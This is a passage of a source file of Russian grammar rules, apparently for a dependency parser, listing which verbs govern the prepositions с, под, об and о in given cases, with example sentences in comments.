rus_verbs:деваться{}, // деваться с подводной лодки rus_verbs:огласить{}, // огласить с трибуны rus_verbs:красть{}, // красть со склада rus_verbs:расширить{}, // расширить с торца rus_verbs:угадывать{}, // угадывать с полуслова rus_verbs:оскорбить{}, // оскорбить со сцены rus_verbs:срывать{}, // срывать с головы rus_verbs:сшибить{}, // сшибить с коня rus_verbs:сбивать{}, // сбивать с одежды rus_verbs:содрать{}, // содрать с посетителей rus_verbs:столкнуть{}, // столкнуть с горы rus_verbs:отряхнуть{}, // отряхнуть с одежды rus_verbs:сбрасывать{}, // сбрасывать с борта rus_verbs:расстреливать{}, // расстреливать с борта вертолета rus_verbs:придти{}, // мать скоро придет с работы rus_verbs:съехать{}, // Миша съехал с горки rus_verbs:свисать{}, // свисать с веток rus_verbs:стянуть{}, // стянуть с кровати rus_verbs:скинуть{}, // скинуть снег с плеча rus_verbs:загреметь{}, // загреметь со стула rus_verbs:сыпаться{}, // сыпаться с неба rus_verbs:стряхнуть{}, // стряхнуть с головы rus_verbs:сползти{}, // сползти со стула rus_verbs:стереть{}, // стереть с экрана rus_verbs:прогнать{}, // прогнать с фермы rus_verbs:смахнуть{}, // смахнуть со стола rus_verbs:спускать{}, // спускать с поводка rus_verbs:деться{}, // деться с подводной лодки rus_verbs:сдернуть{}, // сдернуть с себя rus_verbs:сдвинуться{}, // сдвинуться с места rus_verbs:слететь{}, // слететь с катушек rus_verbs:обступить{}, // обступить со всех сторон rus_verbs:снести{}, // снести с плеч инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков деепричастие:сбегая{}, прилагательное:сбегающий{}, // прилагательное:сбегавший{ вид:несоверш }, rus_verbs:запить{}, // запить с горя rus_verbs:рубануть{}, // рубануть с плеча rus_verbs:чертыхнуться{}, // чертыхнуться с досады rus_verbs:срываться{}, // срываться с цепи rus_verbs:смыться{}, // смыться с уроков rus_verbs:похитить{}, // похитить со склада rus_verbs:смести{}, // смести со своего пути rus_verbs:отгружать{}, // отгружать со склада rus_verbs:отгрузить{}, // отгрузить со склада rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя rus_verbs:взиматься{}, // Плата взимается с любого посетителя rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков rus_verbs:вспархивать{}, // вспархивать с цветка rus_verbs:вспорхнуть{}, // вспорхнуть с ветки rus_verbs:выбросить{}, // выбросить что-то с балкона rus_verbs:выводить{}, // выводить с одежды пятна rus_verbs:снять{}, // снять с головы rus_verbs:начинать{}, // начинать с эскиза rus_verbs:двинуться{}, // двинуться с места rus_verbs:начинаться{}, // начинаться с гардероба rus_verbs:стечь{}, // стечь с крыши rus_verbs:слезть{}, // слезть с кучи rus_verbs:спуститься{}, // спуститься с крыши rus_verbs:сойти{}, // сойти с пьедестала rus_verbs:свернуть{}, // свернуть с пути rus_verbs:сорвать{}, // сорвать с цепи rus_verbs:сорваться{}, // сорваться с поводка rus_verbs:тронуться{}, // тронуться с места rus_verbs:угадать{}, // угадать с первой попытки rus_verbs:спустить{}, // спустить с лестницы rus_verbs:соскочить{}, // соскочить с крючка rus_verbs:сдвинуть{}, // сдвинуть с места rus_verbs:подниматься{}, // туман, поднимающийся с болота rus_verbs:подняться{}, // туман, поднявшийся с болота rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног. rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног. rus_verbs:донестись{}, // С улицы донесся шум дождя. rus_verbs:опасть{}, // Опавшие с дерева листья. rus_verbs:махнуть{}, // Он махнул с берега в воду. rus_verbs:исчезнуть{}, // исчезнуть с экрана rus_verbs:свалиться{}, // свалиться со сцены rus_verbs:упасть{}, // упасть с дерева rus_verbs:вернуться{}, // Он ещё не вернулся с работы. rus_verbs:сдувать{}, // сдувать пух с одуванчиков rus_verbs:свергать{}, // свергать царя с трона rus_verbs:сбиться{}, // сбиться с пути rus_verbs:стирать{}, // стирать тряпкой надпись с доски rus_verbs:убирать{}, // убирать мусор c пола rus_verbs:удалять{}, // удалять игрока с поля rus_verbs:окружить{}, // Япония окружена со всех сторон морями. rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение. глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы. прилагательное:спокойный{}, // С этой стороны я спокоен. rus_verbs:спросить{}, // С тебя за всё спросят. rus_verbs:течь{}, // С него течёт пот. rus_verbs:дуть{}, // С моря дует ветер. rus_verbs:капать{}, // С его лица капали крупные капли пота. rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол. rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня. rus_verbs:встать{}, // Все встали со стульев. rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто. rus_verbs:взять{}, // Возьми книгу с полки. rus_verbs:спускаться{}, // Мы спускались с горы. rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы. rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок. rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы. rus_verbs:двигаться{}, // Он не двигался с места. rus_verbs:отходить{}, // мой поезд отходит с первого пути rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции rus_verbs:падать{}, // снег падает с ветвей rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия. } fact гл_предл { if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:род} } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:парт} } then return true } #endregion РОДИТЕЛЬНЫЙ fact гл_предл { if context { * предлог:с{} *:*{ падеж:твор } } then return false,-3 } fact гл_предл { if context { * предлог:с{} *:*{ падеж:род } } then return false,-4 } fact гл_предл { if context { * предлог:с{} * } then return false,-5 } #endregion Предлог_С /* #region Предлог_ПОД // -------------- ПРЕДЛОГ 'ПОД' ----------------------- fact гл_предл { if context { * предлог:под{} @regex("[a-z]+[0-9]*") } then return true } // ПОД+вин.п. не может присоединяться к существительным, поэтому // он присоединяется к любым глаголам. fact гл_предл { if context { * предлог:под{} *:*{ падеж:вин } } then return true } wordentry_set Гл_ПОД_твор= { rus_verbs:извиваться{}, // извивалась под его длинными усами rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ) rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ) rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ) rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ) rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ) rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ) rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть) rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ) rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ) rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ) rus_verbs:ПРОПОЛЗТИ{}, // rus_verbs:ПРОПОЛЗАТЬ{}, // rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ) rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ) rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ) rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ) rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ) rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом rus_verbs:иметься{}, // у каждого под рукой имелся арбалет rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ) rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ) rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ) rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ) rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ) rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ) rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ) rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ) rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ) rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ) rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ) rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ) rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ) rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор) rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ) rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ) rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ) rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ) rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ) rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ) rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ) rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ) rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ) rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ) rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ) rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ) rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ) rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ) rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ) rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ) rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ) rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ) rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ) rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ) rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ) rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД) rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ) rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД) rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ) rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ) rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ) rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ) rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ) rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ) rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ) rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ) rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ) rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ) rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ) rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ) rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ) rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ) rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ) rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ) rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ) rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ) rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ) rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ) rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ) rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ) rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ) rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ) rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ) rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ) rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ) rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ) rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ) rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ) rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД) rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД) rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД) rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД) rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД) rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД) rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД) rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД) rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор) rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД) rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД) rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД) rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД) rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД) rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД) rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД) rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД) rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД) rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД) rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД) rus_verbs:уснуть{}, // Миша уснет под одеялом rus_verbs:пошевелиться{}, // пошевелиться под одеялом rus_verbs:задохнуться{}, // задохнуться под слоем снега rus_verbs:потечь{}, // потечь под избыточным давлением rus_verbs:уцелеть{}, // уцелеть под завалами rus_verbs:мерцать{}, // мерцать под лучами софитов rus_verbs:поискать{}, // поискать под кроватью rus_verbs:гудеть{}, // гудеть под нагрузкой rus_verbs:посидеть{}, // посидеть под навесом rus_verbs:укрыться{}, // укрыться под навесом rus_verbs:утихнуть{}, // утихнуть под одеялом rus_verbs:заскрипеть{}, // заскрипеть под тяжестью rus_verbs:шелохнуться{}, // шелохнуться под одеялом инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш }, инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш }, деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш }, rus_verbs:пониматься{}, // пониматься под успехом rus_verbs:подразумеваться{}, // подразумеваться под правильным решением rus_verbs:промокнуть{}, // промокнуть под проливным дождем rus_verbs:засосать{}, // засосать под ложечкой rus_verbs:подписаться{}, // подписаться под воззванием rus_verbs:укрываться{}, // укрываться под навесом rus_verbs:запыхтеть{}, // запыхтеть под одеялом rus_verbs:мокнуть{}, // мокнуть под лождем rus_verbs:сгибаться{}, // сгибаться под тяжестью снега rus_verbs:намокнуть{}, // намокнуть под дождем rus_verbs:подписываться{}, // подписываться под обращением rus_verbs:тарахтеть{}, // тарахтеть под окнами инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача. деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{}, rus_verbs:лежать{}, // лежать под капельницей rus_verbs:вымокать{}, // вымокать под дождём rus_verbs:вымокнуть{}, // вымокнуть под дождём rus_verbs:проворчать{}, // проворчать под нос rus_verbs:хмыкнуть{}, // хмыкнуть под нос rus_verbs:отыскать{}, // отыскать под кроватью rus_verbs:дрогнуть{}, // дрогнуть под ударами rus_verbs:проявляться{}, // проявляться под нагрузкой rus_verbs:сдержать{}, // сдержать под контролем rus_verbs:ложиться{}, // ложиться под клиента rus_verbs:таять{}, // таять под весенним солнцем rus_verbs:покатиться{}, // покатиться под откос rus_verbs:лечь{}, // он лег под навесом rus_verbs:идти{}, // идти под дождем прилагательное:известный{}, // Он известен под этим именем. rus_verbs:стоять{}, // Ящик стоит под столом. rus_verbs:отступить{}, // Враг отступил под ударами наших войск. rus_verbs:царапаться{}, // Мышь царапается под полом. rus_verbs:спать{}, // заяц спокойно спал у себя под кустом rus_verbs:загорать{}, // мы загораем под солнцем ГЛ_ИНФ(мыть), // мыть руки под струёй воды ГЛ_ИНФ(закопать), ГЛ_ИНФ(спрятать), ГЛ_ИНФ(прятать), ГЛ_ИНФ(перепрятать) } fact гл_предл { if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } } then return true } // для глаголов вне списка - запрещаем. fact гл_предл { if context { * предлог:под{} *:*{ падеж:твор } } then return false,-10 } fact гл_предл { if context { * предлог:под{} *:*{} } then return false,-11 } #endregion Предлог_ПОД */ #region Предлог_ОБ // -------------- ПРЕДЛОГ 'ОБ' ----------------------- wordentry_set Гл_ОБ_предл= { rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ) rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ) rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ) rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом? rus_verbs:забывать{}, // Мы не можем забывать об их участи. rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ) rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ) rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ) rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ) rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ) rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ) rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ) rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ) rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ) rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ) rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об) rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об) rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ) rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ) rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ) rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе. rus_verbs:кричать{}, // Все газеты кричат об этом событии. rus_verbs:советоваться{}, // Она обо всём советуется с матерью. rus_verbs:говориться{}, // об остальном говорилось легко. rus_verbs:подумать{}, // нужно крепко обо всем подумать. rus_verbs:напомнить{}, // черный дым напомнил об опасности. rus_verbs:забыть{}, // забудь об этой роскоши. rus_verbs:думать{}, // приходится обо всем думать самой. rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:информировать{}, // информировать об изменениях rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:заговорить{}, // заговорить об оплате rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:попросить{}, // попросить об услуге rus_verbs:объявить{}, // объявить об отставке rus_verbs:предупредить{}, // предупредить об аварии rus_verbs:предупреждать{}, // предупреждать об опасности rus_verbs:твердить{}, // твердить об обязанностях rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:прочитать{}, // он читал об этом в учебнике rus_verbs:узнать{}, // он узнал об этом из фильмов rus_verbs:рассказать{}, // рассказать об экзаменах rus_verbs:рассказывать{}, rus_verbs:договориться{}, // договориться об оплате rus_verbs:договариваться{}, // договариваться об обмене rus_verbs:болтать{}, // Не болтай об этом! rus_verbs:проболтаться{}, // Не проболтайся об этом! rus_verbs:заботиться{}, // кто заботится об урегулировании rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне rus_verbs:помнить{}, // всем советую об этом помнить rus_verbs:мечтать{} // Мечтать об успехе } fact гл_предл { if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } } then return true } fact гл_предл { if context { * предлог:о{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { * предлог:об{} @regex("[a-z]+[0-9]*") } then return true } // остальные глаголы не могут связываться fact гл_предл { if context { * предлог:об{} *:*{ падеж:предл } } then return false, -4 } wordentry_set Гл_ОБ_вин= { rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ) rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ) rus_verbs:опереться{}, // Он опёрся об стену. rus_verbs:опираться{}, rus_verbs:постучать{}, // постучал лбом об пол. rus_verbs:удариться{}, // бутылка глухо ударилась об землю. rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:царапаться{} // Днище лодки царапалось обо что-то. } fact гл_предл { if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:об{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:об{} *:*{} } then return false,-5 } #endregion Предлог_ОБ #region Предлог_О // ------------------- С ПРЕДЛОГОМ 'О' ---------------------- wordentry_set Гл_О_Вин={ rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену. rus_verbs:болтать{}, // Болтали чаще всего о пустяках. rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг. rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол. rus_verbs:бахнуться{}, // Бахнуться головой о стол. rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ) rus_verbs:ВЫТИРАТЬ{}, // rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ) rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ) rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ) rus_verbs:ЛЯЗГАТЬ{}, // rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ) rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ) rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ) rus_verbs:колотиться{}, // сердце его колотилось о ребра rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей. rus_verbs:биться{}, // биться головой о стену? (биться о) rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о) rus_verbs:разбиваться{}, // волны разбивались о скалу rus_verbs:разбивать{}, // Разбивает голову о прутья клетки. rus_verbs:облокотиться{}, // облокотиться о стену rus_verbs:точить{}, // точить о точильный камень rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень rus_verbs:потереться{}, // потереться о дерево rus_verbs:ушибиться{}, // ушибиться о дерево rus_verbs:тереться{}, // тереться о ствол rus_verbs:шмякнуться{}, // шмякнуться о землю rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:тереть{}, // тереть о камень rus_verbs:потереть{}, // потереть о колено rus_verbs:удариться{}, // удариться о край rus_verbs:споткнуться{}, // споткнуться о камень rus_verbs:запнуться{}, // запнуться о камень rus_verbs:запинаться{}, // запинаться о камни rus_verbs:ударяться{}, // ударяться о бортик rus_verbs:стукнуться{}, // стукнуться о бортик rus_verbs:стукаться{}, // стукаться о бортик rus_verbs:опереться{}, // Он опёрся локтями о стол. rus_verbs:плескаться{} // Вода плещется о берег. } fact гл_предл { if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:о{} *:*{ падеж:вин } } then return false,-5 } wordentry_set Гл_О_предл={ rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ) rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ) rus_verbs:РАССПРАШИВАТЬ{}, // rus_verbs:слушать{}, // ты будешь слушать о них? rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ) rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ) rus_verbs:сложить{}, // о вас сложены легенды 